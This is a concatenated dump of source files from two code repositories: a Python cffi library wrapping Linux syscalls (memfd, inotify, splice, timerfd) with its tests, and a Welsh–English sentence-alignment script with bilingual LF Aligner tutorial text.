self.revoke(F_SEAL_SHRINK)
@property
def growable(self):
"""Indicates if this memfd region can be extended or 'grown' via ftruncate()"""
return False if self.flags & F_SEAL_GROW else True
@growable.setter
def growable(self, growable):
if not growable:
self.revoke(F_SEAL_GROW)
@property
def writable(self):
"""Indicates if this memfd region is writable"""
# Inverted logic, flags indicate ability is 'sealed'
# while user cares about permission they have via verb
return False if self.flags & F_SEAL_WRITE else True
@writable.setter
def writable(self, writable):
if not writable:
self.revoke(F_SEAL_WRITE)
def revoke(self, flags):
"""Revoke multiple permissions in one go as opposed to using the shrinkable, growable, writable accessors
This is mainly used to avoid calling fcntl multiple times.
Arguments
----------
:param int flags: Flags to specify extra options
Flags
------
F_SEAL_WRITE: Seal the ability to 'write' to the fd, preventing modification
F_SEAL_SHRINK: Seal the ability to shrink the file via ftruncate()
F_SEAL_GROW: Seal the ability to expand or grow the file via ftruncate() or writes
Note: Changes to permissions take affect immediately and apply to the file represented
by the fd and not the fd itself. You will be unable to have 2 fd's point to the same
memfd region with different seal permissions.
"""
revoke(self._fd, flags)
def seal(self):
"""Seal the file (not the file descriptor but all refrences to the file)
preventing futher modification of permissions
"""
seal(self._fd)
@property
def flags(self):
"""Get a copy of the current sealining flags of the memfd"""
return flags(self._fd)
def mmap(self,
length,
flags=0,
prot=PROT_READ|PROT_WRITE|PROT_EXEC,
access=ACCESS_COPY|ACCESS_READ|ACCESS_WRITE,
offset=0):
"""mmap the memfd area
accepts the same arguments as mmap.mmap() with the execption that fd is set
to the fd of the memfd this method is bound to.
"""
return mmap(self._fd, length, flags, prot, access, offset)
def __repr__(self):
fd = "closed" if self.closed() else self.fileno()
return "<{} fd={} name='{}'>".format(self.__class__.__name__, fd, self._name)
<file_sep>/butter/_inotify.py
#!/usr/bin/env python
"""inotify: Wrapper around the inotify syscalls providing both a function based and file like interface"""
from collections import namedtuple
from .utils import PermissionError, UnknownError, CLOEXEC_DEFAULT
import errno
from ._inotify_c import ffi, lib
def inotify_init(flags=0, closefd=CLOEXEC_DEFAULT):
"""Initialise an inotify instnace and return a File Descriptor to refrence is
Arguments:
-----------
Flags:
-------
IN_CLOEXEC: Automatically close the inotify handle on exec()
IN_NONBLOCK: Place the file descriptor in non blocking mode
"""
assert isinstance(flags, int), 'Flags must be an integer'
if closefd:
flags |= IN_CLOEXEC
fd = lib.inotify_init1(flags)
if fd < 0:
err = ffi.errno
if err == errno.EINVAL:
raise ValueError("Invalid argument or flag")
elif err == errno.EMFILE:
raise OSError("Maximum inotify instances reached")
elif err == errno.ENFILE:
raise OSError("File descriptor limit hit")
elif err == errno.ENOMEM:
raise MemoryError("Insufficent kernel memory avalible")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return fd
def inotify_add_watch(fd, path, mask):
"""Start watching a filepath for events
Arguments:
-----------
fd: The inotify file descriptor to attach the watch to
path: The path to the file/directory to be monitored for events
mask: The events to listen for
Flags:
-------
IN_ACCESS: File was accessed
IN_MODIFY: File was modified
IN_ATTRIB: Metadata changed
IN_CLOSE_WRITE: Writtable file was closed
IN_CLOSE_NOWRITE: Unwrittable file closed
IN_OPEN: File was opened
IN_MOVED_FROM: File was moved from X
IN_MOVED_TO: File was moved to Y
IN_CREATE: Subfile was created
IN_DELETE: Subfile was deleted
IN_DELETE_SELF: Self was deleted
IN_MOVE_SELF: Self was moved
IN_ONLYDIR: only watch the path if it is a directory
IN_DONT_FOLLOW: don't follow a sym link
IN_EXCL_UNLINK: exclude events on unlinked objects
IN_MASK_ADD: add to the mask of an already existing watch
IN_ISDIR: event occurred against dir
IN_ONESHOT: only send event once
Returns:
---------
int: A watch descriptor that can be passed to inotify_rm_watch
Exceptions:
------------
ValueError:
* No valid events in the event mask
* fd is not an inotify file descriptor
OSError:
* fd is not a valid file descriptor
* Process has no access to specified file
* File/Folder specified does not exist
* Maximum number of watches hit
MemoryError:
* Raised if the kernel cannot allocate sufficent resources to handle the watch (eg kernel memory)
"""
if hasattr(fd, "fileno"):
fd = fd.fileno()
assert isinstance(fd, int), "fd must by an integer"
assert isinstance(path, (str, bytes)), "path is not a string"
assert len(path) > 0, "Path must be longer than 0 chars"
assert isinstance(mask, int), "mask must be an integer"
if isinstance(path, str):
path = path.encode()
wd = lib.inotify_add_watch(fd, path, mask)
if wd < 0:
err = ffi.errno
if err == errno.EINVAL:
raise ValueError("The event mask contains no valid events; or fd is not an inotify file descriptor")
elif err == errno.EACCES:
raise PermissionError("You do not have permission to read the specified path")
elif err == errno.EBADF:
raise ValueError("fd is not a valid file descriptor")
elif err == errno.EFAULT:
raise ValueError("path points to a file/folder outside the processes accessible address space")
elif err == errno.ENOENT:
raise ValueError("File/Folder pointed to by path does not exist")
elif err == errno.ENOSPC:
raise OSError("Maximum number of watches hit or insufficent kernel resources")
elif err == errno.ENOMEM:
raise MemoryError("Insufficent kernel memory avalible")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return wd
def inotify_rm_watch(fd, wd):
"""Stop watching a path for events
Arguments:
-----------
fd: The inotify file descriptor to remove the watch from
wd: The Watch to be removed
Returns:
---------
None
Exceptions:
------------
ValueError: Returned if supplied watch is not valid or if the file descriptor is not an inotify file descriptor
OSError: File descriptor is invalid
"""
if hasattr(fd, 'fileno'):
fd = fd.fileno()
assert isinstance(fd, int), "fd must by an integer"
assert isinstance(wd, int), "wd must be an integer"
ret = lib.inotify_rm_watch(fd, wd)
if ret < 0:
err = ffi.errno
if err == errno.EINVAL:
raise ValueError("wd is invalid or fd is not an inotify File Descriptor")
elif err == errno.EBADF:
raise ValueError("fd is not a valid file descriptor")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
def str_to_events(str):
event_struct_size = ffi.sizeof('struct inotify_event')
events = []
str_buf = ffi.new('char[]', len(str))
str_buf[0:len(str)] = str
i = 0
while i < len(str_buf):
event = ffi.cast('struct inotify_event *', str_buf[i:i+event_struct_size])
filename_start = i + event_struct_size
filename_end = filename_start + event.len
filename = ffi.string(str_buf[filename_start:filename_end])
events.append(InotifyEvent(event.wd, event.mask, event.cookie, filename))
i += event_struct_size + event.len
return events
InotifyEvent = namedtuple("InotifyEvent", "wd mask cookie filename")
class InotifyEvent(InotifyEvent):
__slots__ = []
@property
def access_event(self):
return True if self.mask & IN_ACCESS else False
@property
def modify_event(self):
return True if self.mask & IN_MODIFY else False
@property
def attrib_event(self):
return True if self.mask & IN_ATTRIB else False
@property
def close_write_event(self):
return True if self.mask & IN_CLOSE_WRITE else False
@property
def close_nowrite_event(self):
return True if self.mask & IN_CLOSE_NOWRITE else False
@property
def close_event(self):
return True if self.mask & (IN_CLOSE_NOWRITE|IN_CLOSE_WRITE) else False
@property
def open_event(self):
return True if self.mask & IN_OPEN else False
@property
def moved_from_event(self):
return True if self.mask & IN_MOVED_FROM else False
@property
def moved_to_event(self):
return True if self.mask & IN_MOVED_TO else False
@property
def create_event(self):
return True if self.mask & IN_CREATE else False
@property
def delete_event(self):
return True if self.mask & IN_DELETE else False
@property
def delete_self_event(self):
return True if self.mask & IN_DELETE_SELF else False
@property
def move_self_event(self):
return True if self.mask & IN_MOVE_SELF else False
@property
def is_dir_event(self):
return True if self.mask & IN_ISDIR else False
# update the local namespace with flags and provide
# a handy dict for reversable lookups
event_name = {}
_l = locals()
for key in dir(lib):
if key.startswith('IN_'):
val = getattr(lib, key)
_l[key] = val
event_name[key] = val
event_name[val] = key
<file_sep>/butter/build/eventfd.py
#!/usr/bin/env python
from cffi import FFI
ffi = FFI()
ffi.cdef("""
#define EFD_CLOEXEC ...
#define EFD_NONBLOCK ...
#define EFD_SEMAPHORE ...
int eventfd(unsigned int initval, int flags);
""")
ffi.set_source("_eventfd_c", """
#include <sys/eventfd.h>
#include <stdint.h> /* Definition of uint64_t */
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
<file_sep>/tests/build/test_build.py
#!/usr/bin/env python
import pytest
from butter.build import clone, eventfd, fanotify, inotify
from butter.build import memfd, signalfd, splice
from butter.build import system, timerfd, utils
from utils import TemporaryDirectory
@pytest.mark.build
@pytest.mark.parametrize('module', [clone,
eventfd,
fanotify,
inotify,
memfd,
signalfd,
splice,
system,
timerfd,
utils])
def test_build(module):
with TemporaryDirectory() as tmpdir:
module.ffi.compile(tmpdir=tmpdir)
<file_sep>/tests/unit/asyncio/test_asyncio_repr.py
import platform
if platform.python_version_tuple() > ('3', '9', '9'):
from butter.asyncio.eventfd import Eventfd_async
from butter.asyncio.fanotify import Fanotify_async
from butter.asyncio.inotify import Inotify_async
from butter.asyncio.signalfd import Signalfd_async
from butter.asyncio.timerfd import Timerfd_async
from collections import namedtuple
import pytest
import sys
class Mock_fd_obj(object):
def __init__(self, fd):
self._fd = fd
@pytest.fixture(params=[(Eventfd_async, '_eventfd' ),
(Fanotify_async, '_fanotify'),
(Inotify_async, '_inotify' ),
(Signalfd_async, '_signalfd'),
(Timerfd_async, '_timerfd' )])
def obj(request):
Obj, sub_obj_name = request.param
o = Obj.__new__(Obj)
o._value = 3 # needed for eventfd
sub_obj = Mock_fd_obj(1) #fd=1
setattr(o, sub_obj_name, sub_obj)
return o
@pytest.fixture(params=[(Eventfd_async, '_eventfd' ),
(Fanotify_async, '_fanotify'),
(Inotify_async, '_inotify' ),
(Signalfd_async, '_signalfd'),
(Timerfd_async, '_timerfd' )])
def obj_closed(request):
Obj, sub_obj_name = request.param
o = Obj.__new__(Obj)
o._value = 3 # needed for eventfd
sub_obj = Mock_fd_obj(None)
setattr(o, sub_obj_name, sub_obj)
return o
@pytest.mark.skipif(sys.version_info < (3,4), reason="requires python3.4/asyncio")
@pytest.mark.repr
@pytest.mark.unit
@pytest.mark.asyncio
def test_repr_name(obj):
assert obj.__class__.__name__ in repr(obj), "Instance's representation does not contain its own name"
@pytest.mark.skipif(sys.version_info < (3,4), reason="requires python3.4/asyncio")
@pytest.mark.repr
@pytest.mark.unit
@pytest.mark.asyncio
def test_repr_fd(obj):
assert 'fd=1' in repr(obj), "Instance does not list its own fd (used for easy identifcation)"
@pytest.mark.skipif(sys.version_info < (3,4), reason="requires python3.4/asyncio")
@pytest.mark.repr
@pytest.mark.unit
@pytest.mark.asyncio
def test_repr_fd_closed(obj_closed):
assert 'fd=closed' in repr(obj_closed), "Instance does not indicate it is closed"
<file_sep>/butter/build/memfd.py
#!/usr/bin/env python
from cffi import FFI
ffi = FFI()
ffi.cdef("""
#define MFD_CLOEXEC ...
#define MFD_ALLOW_SEALING ...
#define F_ADD_SEALS ...
#define F_GET_SEALS ...
#define F_SEAL_SEAL ...
#define F_SEAL_SHRINK ...
#define F_SEAL_GROW ...
#define F_SEAL_WRITE ...
int memfd_create(const char *name, unsigned int flags);
""")
ffi.set_source("_memfd_c", """
#include <linux/memfd.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
int memfd_create(const char *name, unsigned int flags){;
return syscall(SYS_memfd_create, name, flags);
};
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
<file_sep>/butter/splice.py
#!/usr/bin/env python
"""splice: wrapper around the splice() syscall"""
from .utils import UnknownError
import errno as _errno
from ._splice_c import ffi as _ffi
from ._splice_c import lib as _lib
NULL_TERMINATOR = 1 # length of \0 in bytes
def splice(fd_in, fd_out, in_offset=0, out_offset=0, len=0, flags=0):
"""Take data from fd_in and pass it to fd_out without going through userspace
Arguments
----------
:param file fd_in: File object or fd to splice from
:param file fd_out: File object or fd to splice to
:param int in_offset: Offset inside fd_in to read from
:param int out_offset: Offset inside fd_out to write to
:param int len: Ammount of data to transfer
:param int flags: Flags to specify extra options
Flags
------
SPLICE_F_MOVE: This is a noop in modern kernels and is left here for compatibility
SPLICE_F_NONBLOCK: Make splice operations Non blocking (as long as the fd's are non blocking)
SPLICE_F_MORE: After splice() more data will be sent, this is a hint to add TCP_CORK like buffering
SPLICE_F_GIFT: unused for splice() (vmsplice compatibility)
Returns
--------
:return: Number of bytes written
:rtype: int
Exceptions
-----------
:raises ValueError: One of the file descriptors is unseekable
:raises ValueError: Neither descriptor refers to a pipe
:raises ValueError: Target filesystem does not support splicing
:raises OSError: supplied fd does not refer to a file
:raises OSError: Incorrect mode for file
:raises MemoryError: Insufficient kernel memory
:raises OSError: No writers waiting on fd_in
:raises OSError: one or both fd's are in blocking mode and SPLICE_F_NONBLOCK specified
"""
if hasattr(fd_in, 'fileno'):
fd_in = fd_in.fileno()
if hasattr(fd_out, 'fileno'):
fd_out = fd_out.fileno()
assert isinstance(fd_in, int), 'fd_in must be an integer'
assert isinstance(fd_out, int), 'fd_in must be an integer'
assert isinstance(in_offset, int), 'in_offset must be an integer'
assert isinstance(out_offset, int), 'out_offset must be an integer'
assert isinstance(len, int), 'len must be an integer'
assert isinstance(flags, int), 'flags must be an integer'
in_offset = _ffi.cast("long long *", in_offset)
out_offset = _ffi.cast("long long *", out_offset)
size = _lib.splice(fd_in, in_offset, fd_out, out_offset, len, flags)
if size < 0:
err = _ffi.errno
if err == _errno.EINVAL:
if in_offset or out_offset:
raise ValueError("fds may not be seekable")
else:
raise ValueError("Target filesystem does not support slicing or file may be in append mode")
elif err == _errno.EBADF:
raise ValueError("fds are invalid or incorrect mode for file")
elif err == _errno.EPIPE:
raise ValueError("offset specified but one of the fds is a pipe")
elif err == _errno.ENOMEM:
raise MemoryError("Insufficent kernel memory available")
elif err == _errno.EAGAIN:
raise OSError("No writers on fd_in or a fd is open in BLOCKING mode and NON_BLOCK specified to splice()")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return size
def tee(fd_in, fd_out, len=0, flags=0):
"""Splice data like the :py:func:`.splice` but also leave a copy of the data in the original fd's buffers
Arguments
----------
:param file fd_in: File object or fd to splice from
:param file fd_out: File object or fd to splice to
:param int len: Ammount of data to transfer
:param int flags: Flags to specify extra options
Flags
------
SPLICE_F_MOVE: This is a noop in modern kernels and is left here for compatibility
SPLICE_F_NONBLOCK: Make tee operations Non blocking (as long as the fd's are non blocking)
SPLICE_F_MORE: unused for tee()
SPLICE_F_GIFT: unused for tee() (:py:func:`.vmsplice` compatibility)
Returns
--------
:return: Number of bytes written
:rtype: int
Exceptions
-----------
:raises ValueError: One of the file descriptors is not a pipe
:raises ValueError: Both file descriptors refer to the same pipe
:raises MemoryError: Insufficient kernel memory
"""
if hasattr(fd_in, 'fileno'):
fd_in = fd_in.fileno()
if hasattr(fd_out, 'fileno'):
fd_out = fd_out.fileno()
assert isinstance(fd_in, int), 'fd_in must be an integer'
assert isinstance(fd_out, int), 'fd_in must be an integer'
assert isinstance(len, int), 'len must be an integer'
assert isinstance(flags, int), 'flags must be an integer'
size = _lib.tee(fd_in, fd_out, len, flags)
if size < 0:
err = _ffi.errno
if err == _errno.EINVAL:
raise ValueError("fd_in or fd_out are not a pipe or refer to the same pipe")
elif err == _errno.ENOMEM:
raise MemoryError("Insufficent kernel memory available")
else:
# If you are here, its a bug. send us the traceback
raise UnknownError(err)
return size
def vmsplice(fd, vec, flags=0):
"""This cannot be implemented safely under python due to the GC
Please use os.writev() instead which has a near identical api and effect
:raises NotImplemented: This is always raised as this operation has been removed
"""
raise NotImplementedError("Removed due to safety concerns")
SPLICE_F_MOVE = _lib.SPLICE_F_MOVE
SPLICE_F_NONBLOCK = _lib.SPLICE_F_NONBLOCK
SPLICE_F_MORE = _lib.SPLICE_F_MORE
SPLICE_F_GIFT = _lib.SPLICE_F_GIFT
IOV_MAX = _lib.IOV_MAX
<file_sep>/butter/build/timerfd.py
#!/usr/bin/env python
from cffi import FFI
ffi = FFI()
ffi.cdef("""
#define TFD_CLOEXEC ...
#define TFD_NONBLOCK ...
#define TFD_TIMER_ABSTIME ...
#define CLOCK_REALTIME ...
#define CLOCK_MONOTONIC ...
#define CLOCK_PROCESS_CPUTIME_ID ...
#define CLOCK_THREAD_CPUTIME_ID ...
#define CLOCK_MONOTONIC_RAW ...
#define CLOCK_REALTIME_COARSE ...
#define CLOCK_MONOTONIC_COARSE ...
#define CLOCK_BOOTTIME ...
#define CLOCK_REALTIME_ALARM ...
#define CLOCK_BOOTTIME_ALARM ...
//#define CLOCK_SGI_CYCLE ...
//#define CLOCK_TAI ...
typedef long int time_t;
struct timespec {
time_t tv_sec; /* Seconds */
long tv_nsec; /* Nanoseconds */
};
struct itimerspec {
struct timespec it_interval; /* Interval for periodic timer */
struct timespec it_value; /* Initial expiration */
};
int timerfd_create(int clockid, int flags);
int timerfd_settime(int fd, int flags,
const struct itimerspec *new_value,
struct itimerspec *old_value);
int timerfd_gettime(int fd, struct itimerspec *curr_value);
""")
ffi.set_source("_timerfd_c", """
#include <sys/timerfd.h>
#include <stdint.h> /* Definition of uint64_t */
#include <time.h>
""", libraries=[])
if __name__ == "__main__":
ffi.compile()
<file_sep>/tests/unit/test_hashable.py
from butter.eventfd import Eventfd
from butter.fanotify import Fanotify
from butter.inotify import Inotify
from butter.signalfd import Signalfd
from butter.timerfd import Timer
from butter.memfd import Memfd
import pytest
@pytest.fixture(params=[Eventfd, Fanotify, Inotify, Signalfd, Timer, Memfd])
def obj(request):
Obj = request.param
o1 = Obj.__new__(Obj)
o2 = Obj.__new__(Obj)
yield (o1, o2)
try: o1.close()
except ValueError: pass
try: o2.close()
except ValueError: pass
@pytest.mark.unit
def test_equals_same(obj):
obj1, obj2 = obj
fd_backup = (obj1._fd, obj2._fd)
obj1._fd = 1
obj2._fd = 1
assert obj1 == obj2, '2 Identical objects are comparing as diffrent'
obj1._fd, obj2._fd = fd_backup
def test_equals_diffrent(obj):
obj1, obj2 = obj
fd_backup = (obj1._fd, obj2._fd)
obj1._fd = 1
obj2._fd = 2
assert obj1 != obj2, '2 Diffrent objects are comparing as equivlent'
obj1._fd, obj2._fd = fd_backup
def test_hashable(obj):
obj1, obj2 = obj
fd_backup = (obj1._fd, obj2._fd)
obj1._fd = 1
assert isinstance(hash(obj), int), 'hash of object is not an int'
assert {obj1: None}, 'Object cant be used as a key in a dict (not hashable)'
obj1._fd, obj2._fd = fd_backup
| 7470d991d82b4e577df843c25efd02bf90d1cb38 | [
"Python",
"INI"
] | 25 | Python | RIAPS/butter | 17f678043d2ac32e2d98d1a83b55e7e987596729 | eccee0f2423b938eaec24fbb92e022dc8a245206 |
refs/heads/master | <repo_name>PorthTechnolegauIaith/alinio<file_sep>/alinio.py
import codecs
import nltk.data
import subprocess
import os
from argparse import ArgumentParser
import sys
class AliniwrError(Exception):
pass
try:
sentence_detector = nltk.data.load('tokenizers/punkt/english.pickle')
except LookupError:
os.system("./gosod_nltk.sh")
sentence_detector = nltk.data.load('tokenizers/punkt/english.pickle')
local_hunalign = "/hunalign-1.1/src/hunalign/hunalign"
def alinio(file_cy, file_en, out_file):
have_hunalign = False
status = os.system("hunalign >/dev/null 2>&1")
if status != 127 or os.path.exists(local_hunalign):
have_hunalign = True
if not have_hunalign:
print("Mae angen i chi llwytho'r meddalwedd HunAlign i lawr cyn all defnyddio'r aliniwr....")
print("Ewch i http://mokk.bme.hu/en/resources/hunalign/ am manylion")
return
if out_file == '-':
f = sys.stdout
else:
f = codecs.open(out_file,"w","utf-8")
cmd = "./hunalign-1.1/src/hunalign/hunalign hunalign-1.1/data/cy-en.dic -text -utf -realign '%s' '%s'" % (file_cy, file_en)
subprocess.call(cmd,shell=True, stdout=f)
f.close()
def brawddegau(in_file):
out_file = u"%s-token%s" % (os.path.splitext(in_file))
fo = codecs.open(out_file,"w","utf8")
try:
with codecs.open(in_file,'r',encoding='utf8') as fi:
for rawtext in fi:
sentences = sentence_detector.tokenize(rawtext.strip())
for sentence in sentences:
fo.write("\n" + sentence)
except Exception as e:
raise AliniwrError(str(e))
finally:
fo.close()
return out_file
def main(file_cy, file_en, out_file, **args):
cy_aligned = brawddegau(file_cy)
en_aligned = brawddegau(file_en)
alinio(cy_aligned, en_aligned, out_file)
if __name__ == '__main__':
parser = ArgumentParser(description="Aliniwr Syml Python")
parser.add_argument('-e', '--english', dest="file_en", required=True, help="Ffeil Saesneg i'w alinio")
parser.add_argument('-c', '--cymraeg', dest='file_cy', required=True, help="Ffeil Cymraeg i'w alinio")
parser.add_argument(dest='out_file', help="Ffeil i cadw allbwn hunalign. Defnyddiwch '-' ar gyfer stdout")
parser.set_defaults(func=main)
args = parser.parse_args()
try:
args.func(**vars(args))
except Exception as e:
print(e)<file_sep>/tut/HowTo.md
## Sut i ddefnyddio LF Aligner
Mae hwn yn esiampl sy’n arddangos defnydd LF aligner. Y syniad yw, gan ddarllen y txt yma a’r allbwn yn y ffenest llinell gorchymyn ei hun, byddwch yn gallu testio’r sgript a chael syniad eithaf da ynglŷn a sut mae ei ddefnyddio, hyd yn oed heb fynd drwy’r readme llawn – sydd dal yn argymhelliad gan ei fod yn cynnwys esiampl byr o ddefnydd ymarferol.
Darparir dwy ffeil enghreifftiol, sef fersiynau Saesneg a Sbaeneg o Gytundeb Maastricht wedi eu cymryd o ffeiliau pdf sydd ar gael yn http://bookshop.europa.eu/is-bin/INTERSHOP.enfinity/WFS/EU-Bookshop-Site/en_GB/-/EUR/ViewPublication-Start?PublicationKey=<KEY>
Wnes i allforio y pdfs gan ddefnyddio File/Cadw fel testun yn Acrobat reader, dileu y rhannau nad oedd eu heisiau ac yna ei ail gadw gyda amgodio UTF-8. Ni wnaethpwyd unrhyw rhag-brosesu, dim hyd yn oed tynnu penawdau tudalennau. Os wnewch chi agor y ffeiliau, byddwch yn gweld eu bod yn llanast: mae toriad llinell ar ôl pob gair. Ond nid yw hyn yn broblem; gyda’r gosodiadau cywir, bydd yr aliniwr yn cywiro hyn.
Rhedeg yr aliniwr:
Cliciwch dwywaith ar aligner/LF_aligner_XXX. Dylai ffenest llinell orchymyn ymddangos, ac, ar ôl eiliad neu ddwy, gofyn i chi ddewis math o ffeil. (Os nad ydych chi ar Windows a dydych chi ddim yn gweld ffenest derfynell drwy glicio dwywaith ar ffeil yr aliniwr, agorwch ffenest derfynell gyda llaw, teipiwch y gair "perl" a bwlch, llusgwch a gollyngwch y ffeil yn y ffenest a gwasgwch enter). Wrth i’r ffeiliau enghreifftiol gael eu mewnforio o’r pdf, teipiwch "p" (heb y dyfynodau) er mwyn dewis y math o ffeil pdf a gwasgwch enter. Nodwch: mewn defnydd pob dydd, mae’n debyg byddwch angen y “t” cyffredin (ar gyfer ffeiliau "testun", h.y.. txt, doc, docx neu ffeiliau rtf) yn mwy aml na "p".
Iaith ffeil 1 - "en". Iaith ffeil 2 - "es".
Pori (Windows) neu llusgo a gollwng y ffeiliau mewnbwn.
Segmentu testun - "y". Dylai’r adroddiad ddangos bod y ddau destun wedi cael eu hollti mewn i 480 o frawddegau o’r ~40 paragraff gwreiddiol.
Dychwelyd - "n".
Nawr dylech weld adroddiad alinio. Mae’r dau rif (480 a 479) yn agos iawn at eu gilydd, sy’n arwydd da iawn. Fel arfer, gallwch ddisgwyl alinio dibynadwy iawn (ac felly cael dim ond dipyn bach o gywiro gyda llaw i’w wneud) os bydd y ddau rif o fewn nifer bach o % o’u gilydd. Mater pwysig arall yw gwerth ansawdd, 0.876 yn fan hyn. Mae hynny hefyd yn dda iawn; mae unrhyw beth dros 0.5 yn addawol.
Cleanup – eich dewis chi, rwy’n dewis "y" bob tro.
Arolygu: "x". Bydd taenlen xls yn agor, bydd yn caniatáu i chi adolygu yr awto-aliniad. Gwelwch gyfarwyddiadau yn yr xls ei hun. Caewch yr xls a’r txt bydd hefyd wedi ei agor.
Creu TMX - "y".
Cod iaith 1 - "EN-GB" Cod iaith 2 - "ES-ES"
Dyddiad – gadewch yn wag a gwasgwch Enter.
ID Creawdwr – gadewch yn wag a gwasgwch Enter.
Nodyn – gadewch yn wag a gwasgwch Enter.
Gwasgwch enter i adael yr aliniwr.
Nawr dylai fod gennych TMX o’r enw en_es.tmx yn y ffolder enghreifftiau (sample). Mewnforiwch hwn i mewn i TM newydd gan ddefnyddio arf CAT o’ch dewis.
Nodwch: unwaith rydych wedi dysgu y materion sylfaenol, agorwch LF_aligner_setup.txt a cymerwch olwg ar y dewisiadau addasu a’r ffwythiannau ar gael yn y fan honno.
## How to use LF Aligner
This is an example that illustrates the use of LF aligner. The idea is that by reading this txt and the output in the command line window itself, you can test the script and get a reasonably good idea of how to use it, even without going through the full readme - which is still recommended as it contains a lot more information than this short example of practical use.
Two sample files are provided, namely the English and Spanish versions of the Maastricht Treaty taken from pdf files available at http://bookshop.europa.eu/is-bin/INTERSHOP.enfinity/WFS/EU-Bookshop-Site/en_GB/-/EUR/ViewPublication-Start?PublicationKey=<KEY>
I exported the pdfs using File/Save as text in Acrobat reader, deleted the unwanted parts and resaved in UTF-8 encoding. No other preprocessing was done, I didn't even bother removing the page headers. If you open the files, you can see they are a mess: there is a line break after every word. This is not a problem though; with the right settings, the aligner corrects this.
Running the aligner:
Double click on aligner/LF_aligner_XXX. A command line window should appear, and, after a good couple of seconds, prompt you to choose a file type. (If you're not on Windows and you get no terminal window by double clicking the aligner file, open a terminal window manually, type the word "perl" and a space, drag and drop the file in the window and press enter).
As the sample files are exported from pdf, type "p" (without the quotes) to choose the pdf filetype and press enter.
Note: in everyday use, you'll probably need the generic "t" (for "text" files, i.e. txt, doc, docx or rtf files) more often than "p".
Language of file 1 - "en".
Language of file 2 - "es".
Browse (Windows) or drag and drop the input files.
Segment text - "y". The report should show that both texts were chopped up into about 480 sentences from the original ~40 paragraphs.
Revert - "n".
Now you should get an alignment report. The two numbers (480 and 479) are very close to each other, which is a very good sign. Usually, you can expect a very reliable automatic alignment (and thus have little or no manual correction to do) if the two numbers are within a couple of % of each other.
The other important bit is the quality value, 0.876 in this case. That's also very good; anything over 0.5 is promising.
Cleanup - as you wish, I always choose "y".
Review: "x". An xls spreadsheet will open, allowing you to review the autoalignment. See instructions in the xls itself.
Close the xls and the txt that will also be opened.
Create TMX - "y".
Language code 1 - "EN-GB"
Language code 2 - "ES-ES"
Date - leave blank and just press Enter.
Creator ID - leave blank and just press Enter.
Note - leave blank and just press Enter.
Press enter to quit the aligner.
Now you should have a TMX named en_es.tmx in the sample folder. Import it into a new TM with your CAT tool of choice as a test.
Note: once you have learned the basics, open LF_aligner_setup.txt and check the customization options and features available there.
<file_sep>/tut/LFAligner.md
# LF Aligner
## Cyflwyniad
Bwriedir LF Aligner at ddefnydd cyfieithwyr sydd eisiau creu atgofion cyfieithu o
gyfieithiadau a grëwyd heb arf CAT neu o unrhyw destun arall sydd ar gael mewn
dwy neu fwy iaith. Ysgrifennwyd y rhaglen er mwyn gwneud yr algorithm alinio brawddegau
awtomatig, Hunalign, ([gwelwch http://mokk.bme.hu/resources/hunalign](http://mokk.bme.hu/resources/hunalign))
yn haws i’w defnyddio.
Mae gan LF Aligner hefyd nodweddion a’u dyluniwyd ar gyfer adeiladu corpora ar raddfa mawr,
gan gynnwys y gallu i drin setiau data enfawr, hidlo data integredig, modd swp,
segmentu awtomatig a gweithredu heb gymorth.
Mae gan yr aliniwr hefyd nodweddion eraill fel creu ffeiliau TMX a llwytho rheolau yr
Undeb Ewropeaidd neu unrhyw wefan HTML i lawr ar gyfer alinio.
Mae LF aligner yn defnyddio algorithm clyfar i benderfynu pa frawddeg sy’n mynd
gyda pa un, trwy ddibynnu ar hyd y frawddeg, geiriadur a tipyn o hud a lledrith.
Pendraw y peth yw nad oes angen arnoch baru segmentau gyda llaw, dim ond golygu y
parau gwnaethpwyd gan y rhaglen a gwneud unrhyw gywiriadau angenrheidiol. Y rhan fwyaf
o’r amser byddwch yn cael cyfieithiad peirianyddol gellir ei defnyddio heb unrhyw
fewnbwn dynol. Mae paru awtomatig Hunalign yn dibynnu yn llwyr ar ansawdd y deunydd
ffynhonnell (p’un ai ydych chi wedi tynnu penawdau a throednodiadau ac ati) a p’un
ai mae ganddo eiriadur da neu beidio, ond mae canrannau yn y nawdegau uchel yn gyffredin
(mae data geiriadur da ar gyfer 800 cyfuniad o fwy na 32 iaith yn dod wedi ei becynnu
gyda’r aliniwr. Gallwch wirio yn y log i weld os yw’r data geiriadur yma wedi’i ddefnyddio
ar gyfer eich aliniad).
Y prif allbwn yw TMX, ond nid oes rhaid defnyddio meddalwedd sy’n gweithio gyda TMX,
gall yr aliniwr gynhyrchu ffeiliau XLS ar eich rhan. Cynhyrchir ffeiliau tab delimited
pob tro hefyd, addas ar gyfer defnydd gyda Apsis Xbench neu brosesu gyda arfau eraill.
Mae LF Aligner hefyd yn cynnig rheolaeth lawn dros yr holl broses: yn y TMX, gallwch osod
y dyddiad a’r amser, codau iaith, ID creawdwr, ychwanegu nodiadau at bob segment ac ati,
ac mae gennych ddewisiadau addasu eang ar gyfer ffwythiannau eraill hefyd. Jest agorwch
aligner_setup.txt er mwyn gweld y prif ddewisiadau gosod.
Mae’r readme hwn yn eithaf hir... os ydych chi eisiau dechrau arni yn gyflym heb ddarllen yr
holl beth, gallwch wneud hyn drwy ddilyn y camau disgrifir yn sample/howto.txt, ond mae’n
debyg y dylech ddod yn ôl at y readme hwn rywbryd, yn enwedig os ydych chi yn cael
trafferth â rhywbeth.
## DEFNYDD
Mae’r ffolder o’r enw “sample” yn cynnwys pâr o ffeiliau enghreifftiol a txt gyda
chyfarwyddiadau ar sut i ddefnyddio’r sgript. Gallwch ddilyn y cyfarwyddiadau yma
er mwyn gweld yr aliniwr yn gweithio a dysgu y materion sylfaenol, ac wedyn dod
yn ôl at y readme yma am fwy o wybodaeth.
Gall y ffeiliau mewnbwn fod yn txt, doc, docx, odt, rtf, tmx, HTML, pdf a rhai
fformatau eraill. Gwnewch yn siŵr eich bod chi’n defnyddio amgodio UTF ar eich
ffeiliau txt bob tro.
Gwelwch fanylion ar baratoi ffeiliau mewnbwn yn bellach ymlaen isod.
Does dim angen gosod y rhaglen o gwbl, dim ond clicio dwywaith ar LF_aligner_XXX
